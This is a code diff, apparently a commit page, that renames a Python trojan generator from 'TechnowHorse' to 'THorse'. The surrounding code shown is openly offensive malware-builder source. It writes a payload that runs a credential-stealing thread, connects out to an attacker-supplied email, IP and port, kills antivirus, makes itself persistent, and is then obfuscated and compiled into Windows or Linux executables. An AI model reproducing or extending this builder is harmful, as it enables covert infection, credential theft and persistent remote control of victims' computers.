|
19 | 19 | PYTHON_PYINSTALLER_PATH = "wine ~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe"
|
20 | 20 |
|
21 | 21 | def get_options():
|
22 |
| - parser = argparse.ArgumentParser(description=f'{Fore.RED}TechnowHorse v1.7') |
| 22 | + parser = argparse.ArgumentParser(description=f'{Fore.RED}THorse v1.7') |
23 | 23 | parser._optionals.title = f"{Fore.GREEN}Optional Arguments{Fore.YELLOW}"
|
24 | 24 | parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
|
25 | 25 | parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')
|
@@ -116,30 +116,30 @@ def create_trojan(file_name, email, password, ip, port, time_persistent, legitim
|
116 | 116 | file.write("def check_and_start():\n")
|
117 | 117 | file.write("\tif win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:\n")
|
118 | 118 | file.write("\t\tmutex = None\n")
|
119 |
| - file.write("\t\tprint(\"[+] Disabling TechNowHorse: Already Running\")\n") |
| 119 | + file.write("\t\tprint(\"[+] Disabling THorse: Already Running\")\n") |
120 | 120 |
|
121 |
| - file.write("\telse:\n") # if no instance running, going to run TechNowHorse |
| 121 | + file.write("\telse:\n") # if no instance running, going to run THorse |
122 | 122 |
|
123 | 123 | if arguments.stealer:
|
124 | 124 | file.write(f"\t\tt2 = threading.Thread(target=steal)\n") #Making Stealer Thread
|
125 | 125 | file.write(f"\t\tt2.start()\n\n") #Starting Thread
|
126 | 126 |
|
127 |
| - file.write(f"\t\ttechnowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n") |
| 127 | + file.write(f"\t\ttHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n") |
128 | 128 | if arguments.kill_av != None and arguments.kill_av != "":
|
129 |
| - file.write(f"\t\ttechnowHorse.kill_av({arguments.kill_av})\n") |
| 129 | + file.write(f"\t\ttHorse.kill_av({arguments.kill_av})\n") |
130 | 130 | else:
|
131 |
| - file.write("\t\ttechnowHorse.kill_av()\n") |
132 |
| - file.write(f"\t\ttechnowHorse.become_persistent({time_persistent})\n") |
133 |
| - file.write("\t\ttechnowHorse.start()\n\n") |
| 131 | + file.write("\t\ttHorse.kill_av()\n") |
| 132 | + file.write(f"\t\ttHorse.become_persistent({time_persistent})\n") |
| 133 | + file.write("\t\ttHorse.start()\n\n") |
134 | 134 | file.write("check_and_start()\n")
|
135 | 135 |
|
136 | 136 | def create_trojan_linux(file_name, email, password, ip, port, time_persistent):
|
137 | 137 | with open(file_name, "w+") as file:
|
138 | 138 | file.write("import payload\n")
|
139 | 139 |
|
140 |
| - file.write(f"technowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n") |
141 |
| - file.write(f"technowHorse.become_persistent({time_persistent})\n") |
142 |
| - file.write("technowHorse.start()\n\n") |
| 140 | + file.write(f"tHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n") |
| 141 | + file.write(f"tHorse.become_persistent({time_persistent})\n") |
| 142 | + file.write("tHorse.start()\n\n") |
143 | 143 |
|
144 | 144 |
|
145 | 145 | def obfuscating_payload(file_name):
|
@@ -203,7 +203,7 @@ def exit_greet():
|
203 | 203 | except Exception as e:
|
204 | 204 | os.system('clear')
|
205 | 205 | del_junk_file(arguments.output)
|
206 |
| - print(Fore.GREEN + '''Thank You for using TechNowHorse, Think Great & Touch The Sky! \n''' + Style.RESET_ALL) |
| 206 | + print(Fore.GREEN + '''Happy Hacking ~THorse!\n''' + Style.RESET_ALL) |
207 | 207 | quit()
|
208 | 208 |
|
209 | 209 | if __name__ == '__main__':
|
@@ -312,7 +312,7 @@ def exit_greet():
|
312 | 312 |
|
313 | 313 | else:
|
314 | 314 | print(f"\n{Fore.RED}[!] Failed To Generate Your Payload :(, Please Try Again!\n")
|
315 |
| - print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/technowhorse\n") |
| 315 | + print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/thorse\n") |
316 | 316 |
|
317 | 317 | except KeyboardInterrupt:
|
318 | 318 | exit_greet()
|
|
0 commit comments